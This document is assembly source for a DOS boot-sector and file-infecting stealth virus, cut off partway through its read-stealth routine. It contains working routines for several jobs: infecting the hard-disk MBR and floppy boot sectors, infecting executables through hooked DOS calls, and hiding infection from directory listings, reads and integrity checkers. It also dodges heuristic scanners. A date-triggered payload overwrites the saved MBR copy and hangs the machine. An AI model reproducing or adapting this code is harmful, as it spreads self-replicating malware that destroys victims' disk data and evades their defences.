;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus int 13h handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

my_int13h:
;Hook dos on first write operation
cmp ah,03h
jne look_mbr
call hook_dos
look_mbr:
;Check for head 00h
or dh,dh
jnz my13h_exit
;Take care about track 00h
or ch,ch
jne my13h_exit

;Floppy or hd?
cmp dl,80h
je is_hd_operation
or dl,dl
jz is_floppy_operation
jmp my13h_exit

is_hd_operation:

;Check for write operations


cmp ah,03h
je hd_write

;Check for extended write operations


cmp ah,0Bh
je hd_write

;Check for read operations


cmp ah,02h
je hd_read

;Check for extended read operations


cmp ah,0Ah
je hd_read

my13h_exit:
;Get control back to old int 13h
jmp dword ptr cs:[old13h]

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Monitoring hd write operations ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

hd_write:

;Trying to overwrite virus sectors?


cmp cl,04h+inf_sect_size
ja my13h_exit

;Return without error


clc
retf 02h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Monitoring hd read operations ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

hd_read:
;Trying to read infected mbr?
cmp cl,01h
je stealth_mbr

;Trying to read sectors on witch virus resides?


cmp cl,04h+inf_sect_size
ja my13h_exit

;Return with error


stc
retf 02h
stealth_mbr:
;Redirect reads to infected mbr into the clean copy
mov al,01h
mov cl,03h
pushf
call dword ptr cs:[old13h]
jc mbr_stealth_error

;Decrypt mbr
call crypt_sector
clc

mbr_stealth_error:
retf 02h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Perform encryption over es:[bx] 0200h byte ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

crypt_sector:

push ax
push cx
push di

mov cx,0200h/02h
mov di,bx
cld

sector_loop_crypt:

mov ax,word ptr es:[di]


not ax
stosw
loop sector_loop_crypt

pop di
pop cx
pop ax
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus floppy infection routine ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

is_floppy_operation:

;Check of buffer in use by int 21h handler


cmp byte ptr cs:[running_sw],00h
jne my13h_exit

;Check read operations


cmp ah,02h
jne my13h_exit

;Over sector 01h


cmp cl,01h
jne my13h_exit

;Perform read operation


call do_int13h
jnc ok_floppy_read
retf 02h

ok_floppy_read:

;Save all regs, we are going to trash them


call push_all

;Check if floppy already infected


call get_position
cmp word ptr es:[di+boot_marker-boot_code],"RC"
jne not_infected

;Read original boot sector


call pop_all
call read_boot_extra
retf 02h

not_infected:
;Check for mbr marker also in floppy
cmp word ptr es:[bx+01FEh],0AA55h
jne exit_floppy_infection

;Check if dos has been loaded


cmp byte ptr cs:[dos_flag],0FFh
je environment_ready

exit_floppy_infection:

call pop_all
clc
retf 02h

environment_ready:

;Choose disk device parameter table


mov ax,word ptr es:[bx+13h]
mov di,offset floppy5_25
cmp ax,0960h
je ok_ddpt_index
mov di,offset floppy3_5
cmp ax,0B40h
jne exit_floppy_infection

ok_ddpt_index:

;Save some regs


push es
push bx
push dx

;Get int 1Eh (address where bios stores a pointer to ddpt)


mov al,1Eh
call get_int

;Save int 1Eh


mov word ptr cs:[old1Eh_off],bx
mov word ptr cs:[old1Eh_seg],es

;Hook int 1Eh to our ddpt


push cs
pop ds
mov dx,di
call set_int
;Point to format table
;(Track 50h,side 00h,200h bytes per sector)
push cs
pop es
mov bx,offset format_table

;Format the extra track


mov ax,0501h+inf_sect_size
mov cx,5001h
pop dx
call do_int13h
jnc extra_track_done

;Restore pointer to read buffer


pop bx
pop es
jmp abort_floppy

extra_track_done:

;Restore pointer to read buffer


pop bx
pop es

;Write original boot sector on first extra sector


mov ax,0301h
call do_int13h
jc abort_floppy

;Copy virus body from hd to floppy ( sector by sector )


mov cx,inf_sect_size
copy_hd_sector:
push cx
mov al,cl
mov cl,inf_sect_size+04h
sub cl,al
mov dl,80h
mov ax,0201h
call do_int13h
jnc hd_sector_ready

replication_error:

pop cx
call read_boot_extra
jmp abort_floppy

hd_sector_ready:

mov ch,50h
sub cl,02h
xor dl,dl
mov ax,0301h
call do_int13h
jc replication_error
pop cx
loop copy_hd_sector

;Read original boot sector saved on extra track


call read_boot_extra
jc abort_floppy
;Save virus position on disk
inc cl
mov word ptr cs:[load_cx],cx

;Move virus loader into boot sector


call get_position
mov si,offset boot_code
mov cx,boot_size
cld
rep movsb

;Write loader over floppy boot sector


mov ax,0301h
mov cl,01h
call do_int13h

;Get original boot sector again


call read_boot_extra
abort_floppy:
;Restore int 1Eh
lds dx,dword ptr cs:[old1Eh]
mov al,1Eh
call set_int
jmp exit_floppy_infection

read_boot_extra:

;Read original boot sector saved on extra track


mov ax,0201h
mov cx,5001h
call do_int13h
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Perform int 13h call ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

do_int13h:
;Check for floppy write operations
cmp ah,03h
jne do_not_use40h
or dl,dl
jz use_int40h

do_not_use40h:
;Perform call
pushf
call dword ptr cs:[old13h]
ret
use_int40h:
;Perform call using int 40h
pushf
call dword ptr cs:[old40h]
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus loader ( inserted into hd mbr and floppy boot sectors ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

boot_code:
;Setup stack and segment regs
cli
xor ax,ax
mov ss,ax
mov es,ax
mov ds,ax
mov sp,7C00h
sti

;Prepare for reading virus body


mov ax,0200h+inf_sect_size

;Read at 0000h:7E00h
mov bx,7E00h

;Get position in disk


;mov cx,XXXXh
db 0B9h
load_cx dw 0000h
sub dh,dh

;Read virus body next to loader


int 13h
jc error_init

;Continue execution on virus body


push es
push bx
retf

error_init:
;Error during virus initialization
int 18h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Floppy boot sector infected marker ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

boot_marker db "CR"
;End of boot code
boot_end equ this byte

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Hook int 21h ( try to find original int 21h address using psp tracing ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

hook_dos:
;Save regs
call push_all

;Check if dos has been loaded


cmp byte ptr cs:[dos_flag],00h
jne exit_wait

;Set dos loaded flag


mov byte ptr cs:[dos_flag],0FFh

;Restore bios allocated memory


xor ax,ax
mov ds,ax
add word ptr ds:[0413h],mem_kb_size

;Check dos version


mov ah,30h
int 21h
cmp al,04h
jb exit_wait

;Get our segment


push cs
pop ds

;Get int 21h vector


mov al,21h
call get_int

;Save old int 21h vector


mov word ptr ds:[old21h_off],bx
mov word ptr ds:[old21h_seg],es

;Save old 21h as original for errors on psp tracing


mov word ptr ds:[org21h_off],bx
mov word ptr ds:[org21h_seg],es

;Point int 21h to our handler


mov dx,offset my_int21h
call set_int

;Try to find original 21h tracing psp


mov ah,62h
int 21h
mov es,bx

;Point ds:si to dispatch handler


lds si,dword ptr es:[0006h]

trace_loop:
;Check if there is a jump instruction
cmp byte ptr ds:[si],0EAh
jne try_dispatcher

;Check if there is a double-nop


lds si,dword ptr ds:[si+01h]
mov ax,9090h
cmp ax,word ptr ds:[si]
jne trace_loop

;Sub offset from dispatcher


sub si,32h

;Check if there is a double-nop


cmp ax,word ptr ds:[si]
je found_original

try_dispatcher:

;Check for cs prefix and push ds


cmp word ptr ds:[si],2E1Eh
jne exit_wait

;Add offset from dispatcher


add si,0025h

;Check for cli and push ax instructions


cmp word ptr ds:[si],80FAh
jne exit_wait

found_original:
;Save found address
mov word ptr cs:[org21h_off],si
mov word ptr cs:[org21h_seg],ds
exit_wait:
;Restore regs and return
call pop_all
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus int 21h handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

my_int21h:
;Save entry regs
call push_all

;Get our code segment int ds


push cs
pop ds

;Set int 21h running switch


mov byte ptr ds:[running_sw],0FFh

;Anti-heuristic function number examination


xor ax,0FFFFh
mov word ptr ds:[dos_function],ax

;Get int 24h vector


mov al,24h
call get_int

;Save old int 24h


mov word ptr ds:[old24h_seg],es
mov word ptr ds:[old24h_off],bx

;Hook int 24h to a do-nothing handler


mov dx,offset my_int24h
call set_int

;Check for special files


mov ah,62h
call dos_call
dec bx
mov es,bx
mov ax,word ptr es:[0008h]
mov byte ptr ds:[stealth_sw],00h

;Check if arj is running


cmp ax,"RA"
je disable_stealth

;Check for pkzip utils


cmp ax,"KP"
je disable_stealth

;Check for lha


cmp ax,"HL"
je disable_stealth

;Check for backup


cmp ax,"AB"
je disable_stealth
jmp no_running

disable_stealth:

mov byte ptr ds:[stealth_sw],0FFh


no_running:
;Restore and re-save all regs
call pop_all
call push_all
;Put function number into bx
mov bx,word ptr cs:[dos_function]

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Check for activation circunstances ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

activation_00:
;Get dos date
cmp bh,(2Ah xor 0FFh)
jne infection_00
jmp dos_get_date

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infection functions ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

infection_00:
;Exec function ( save filename for later infection )
cmp bx,(4B00h xor 0FFFFh)
jne infection_01
jmp dos_exec
infection_01:
;Close file (Handle)
cmp bh,(3Eh xor 0FFh)
jne infection_02
jmp dos_close
infection_02:
;Get or set file attribute
cmp bh,(43h xor 0FFh)
jne infection_03
jmp infect_file_ds_dx
infection_03:
;Rename or move file
cmp bh,(56h xor 0FFh)
jne infection_04
jmp infect_file_ds_dx
infection_04:
;Terminate program ( infect executed program )
cmp bh,(4Ch xor 0FFh)
jne stealth_dos
jmp dos_terminate_prog

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Stealth functions ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

stealth_dos:
;Check if stealth is disabled
cmp byte ptr cs:[stealth_sw],0FFh
je m21h_exit

;Open file (Handle)


cmp bh,(3Dh xor 0FFh)
jne stealth_00
jmp dos_open
stealth_00:
;Extended open
cmp bh,(6Ch xor 0FFh)
jne stealth_01
jmp dos_open
stealth_01:
;Directory stealth works with function Findfirst (fcb)
cmp bh,(11h xor 0FFh)
jne stealth_02
jmp ff_fcb
stealth_02:
;Directory stealth works also with function Findnext(fcb)
cmp bh,(12h xor 0FFh)
jne stealth_03
jmp ff_fcb
stealth_03:
;Search stealth works with Findfirst (handle)
cmp bh,(4Eh xor 0FFh)
jne stealth_04
jmp ff_handle
stealth_04:
;Search stealth works also with Findnext (handle)
cmp bh,(4Fh xor 0FFh)
jne stealth_05
jmp ff_handle
stealth_05:
;Read stealth
cmp bh,(3Fh xor 0FFh)
jne stealth_06
jmp dos_read
stealth_06:
;Disinfect if debuggers exec
cmp bx,(4B01h xor 0FFFFh)
jne stealth_07
jmp dos_load_exec
stealth_07:
;Disinfect if file write
cmp bh,(40h xor 0FFh)
jne stealth_08
jmp dos_write
stealth_08:
;Get file date/time
cmp bx,(5700h xor 0FFFFh)
jne stealth_09
jmp dos_get_time
stealth_09:
;Set file date/time
cmp bx,(5701h xor 0FFFFh)
jne m21h_exit
jmp dos_set_time
m21h_exit:
;Free int 24h
call unhook_ints
call pop_all
;Get control back to dos
jmp dword ptr cs:[old21h]

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get dos date and payload ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
dos_get_date:
;Get regs values on function entry
call pop_all

;Call dos function


call dos_call

;Check if date is 4th of June


cmp dx,0604h
je activate_now
clc
retf 02h

activate_now:

;Reset hd
xor ax,ax
int 13h

;Overwrite mbr copy


mov bx,ax
mov ax,0301h
mov cx,0003h
mov dx,0080h
int 13h

;Set video-mode 80*25 16-Colors


mov ax,0003h
int 10h

;Set cursor position


mov ah,02h
xor bh,bh
mov dx,0B16h
int 10h

;Print string + beep


push cs
pop ds
mov si,offset txt_credits_1
call loop_beep_string

;Set cursor position


mov ah,02h
xor bh,bh
mov dx,0C16h
int 10h

;Print string + beep


push cs
pop ds
mov si,offset txt_credits_2
call loop_beep_string
hang_machine:
;Endless loops rulez :P
jmp hang_machine

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Directory stealth with functions 11h and 12h (fcb) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

ff_fcb:
;Call dos function
call pop_all
call dos_call

;Save all regs


call push_all

;Check for errors


cmp al,255
je nofound_fcb

;Get current PSP


mov ah,62h
call dos_call

;Check if call comes from DOS


mov es,bx
cmp bx,es:[16h]
jne nofound_fcb
mov bx,dx
mov al,ds:[bx+00h]
push ax

;Get DTA
mov ah,2Fh
call dos_call
pop ax
inc al
jnz fcb_ok
add bx,07h
fcb_ok:
;Check if infected
mov ax,word ptr es:[bx+17h]
and al,1Fh
cmp al,1Fh
jne nofound_fcb

;Restore seconds
and byte ptr es:[bx+17h],0E0h

;Restore original file size


sub word ptr es:[bx+1Dh],inf_byte_size
sbb word ptr es:[bx+1Fh],0000h
nofound_fcb:
;Restore some registers and return
call unhook_ints
call pop_all
iret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Search stealth with functions 4Eh and 4Fh (handle) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

ff_handle:
;Call dos function
call pop_all
call dos_call
jnc ffhok

;Exit if error, return flags to caller


call unhook_ints
stc
retf 02h
ffhok:
;Save result
call push_all

;Get DTA
mov ah,2Fh
call dos_call

;Check if infected
mov ax,word ptr es:[bx+16h]
and al,1Fh
cmp al,1Fh
jne nofound_handle

;Restore seconds field


and byte ptr es:[bx+16h],0E0h

;Restore original size


sub word ptr es:[bx+1Ah],inf_byte_size
sbb word ptr es:[bx+1Ch],0000h
nofound_handle:
;Restore some registers and exit
call unhook_ints
call pop_all
clc
retf 02h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exec ( load program ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

dos_load_exec:
;Open file for read-only
mov ax,3D00h
call dos_call
jnc loaded
jmp m21h_exit
loaded:
xchg bx,ax
jmp do_disinfect

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Write to file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

dos_write:
call pop_all
call push_all
do_disinfect:
;Get sft address in es:di
call get_sft
jc bad_operation

;Check if file is infected


mov al,byte ptr es:[di+0Dh]
mov ah,1Fh
and al,ah
cmp al,ah
je clear_header
bad_operation:
jmp load_error
clear_header:
;Save and set file open mode (read/write)
mov cx,0002h
xchg cx,word ptr es:[di+02h]
push cx

;Save and set file attribute


xor al,al
xchg al,byte ptr es:[di+04h]
push ax

;Save and set file pointer position


push word ptr es:[di+15h]
push word ptr es:[di+17h]

;Get file true size if write operation


cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh)
jne no_size_fix

;Add virus size to file size


add word ptr es:[di+11h],inf_byte_size
adc word ptr es:[di+13h],0000h
no_size_fix:
;Point to old header in file
call seek_end
sub word ptr es:[di+15h],file_header_size+01h
sbb word ptr es:[di+17h],0000h

;Read old header and encryption key


push cs
pop ds
mov ah,3Fh
mov cx,file_header_size+01h
mov dx,offset old_header
call dos_call
jc exit_disin

;Decrypt header
call decrypt_header

;Write old header


call seek_begin
mov dx,offset old_header
mov ah,40h
mov cx,file_header_size
call dos_call

;Truncate file
call seek_end
sub word ptr es:[di+15h],inf_byte_size
sbb word ptr es:[di+17h],0000h
xor cx,cx
mov ah,40h
call dos_call
exit_disin:
;Restore file pointer position
pop word ptr es:[di+17h]
pop word ptr es:[di+15h]

;Restore file attribute


pop ax
mov byte ptr es:[di+04h],al

;Restore file open mode


pop word ptr es:[di+02h]
;Do not set file date and file time on closing
or byte ptr es:[di+06h],40h

;Clear seconds field


and byte ptr es:[di+0Dh],0E0h
load_error:
;Check if write function
cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh)
je not_load

;Close file
mov ah,3Eh
call dos_call
not_load:
jmp m21h_exit

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get file date/time ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

dos_get_time:
;Call function
call pop_all
call dos_call
jnc ok_get_time

;Exit if error
call unhook_ints
stc
retf 02h
ok_get_time:
;Save result
call push_all

;Check if file is already infected


mov al,cl
mov ah,1Fh
and al,ah
cmp al,ah
jne no_get_time

;Get function result


call pop_all

;Clear infection marker


and cl,0E0h
jmp short exit_get_time
no_get_time:
call pop_all
exit_get_time:
call unhook_ints
clc
retf 02h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Set file date/time ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

dos_set_time:
;Get function parameters
call pop_all
call push_all
;Get address of sft entry
call get_sft
jc no_set_time

;Check if file is already infected


mov al,byte ptr es:[di+0Dh]
mov ah,1Fh
and al,ah
cmp al,ah
je ok_set_time
no_set_time:
;Exit if not infected or error
jmp m21h_exit
ok_set_time:
;Perform time change but restore our marker
call pop_all
or cl,1Fh
call push_all
jmp m21h_exit

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Open file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

dos_open:
;Call dos function
call pop_all
call dos_call
jnc do_open_file

;Exit if error
call unhook_ints
stc
retf 02h
do_open_file:
;Save result
call push_all

;Get sft for file handle


xchg bx,ax
call get_sft
jc no_changes

;Check file name in sft


push es
pop ds
mov si,di
add si,0020h
cld
lodsw

;Check for chklist


cmp ax,"HC"
jne check_open_infection
lodsw
cmp ax,"LK"
jne check_open_infection
lodsw
cmp ax,"SI"
jne check_open_infection

;Close file
mov ah,3Eh
call dos_call

;Exit with error ( file not found )


call unhook_ints
call pop_all
mov ax,0002h
stc
retf 02h

check_open_infection:

;Check if file is infected


mov al,byte ptr es:[di+0Dh]
mov ah,1Fh
and al,ah
cmp al,ah
jne no_changes

;If infected stealth true size


sub word ptr es:[di+11h],inf_byte_size
sbb word ptr es:[di+13h],0000h
no_changes:
;Open operation complete, return to caller
call unhook_ints
call pop_all
clc
retf 02h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Read file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

dos_read:
;Restore function entry regs
call pop_all
call push_all

;Duplicate handle
mov ah,45h
call dos_call
jc no_read_stealth
xchg bx,ax
push ax

;Close new handle in order to update directory entry


mov ah,3Eh
call dos_call
pop bx

;Get address of sft entry


call get_sft
jc no_read_stealth

;Check if file is already infected


mov al,byte ptr es:[di+0Dh]
mov ah,1Fh
and al,ah
cmp al,ah
jne no_read_stealth

;Check and save current offset in file


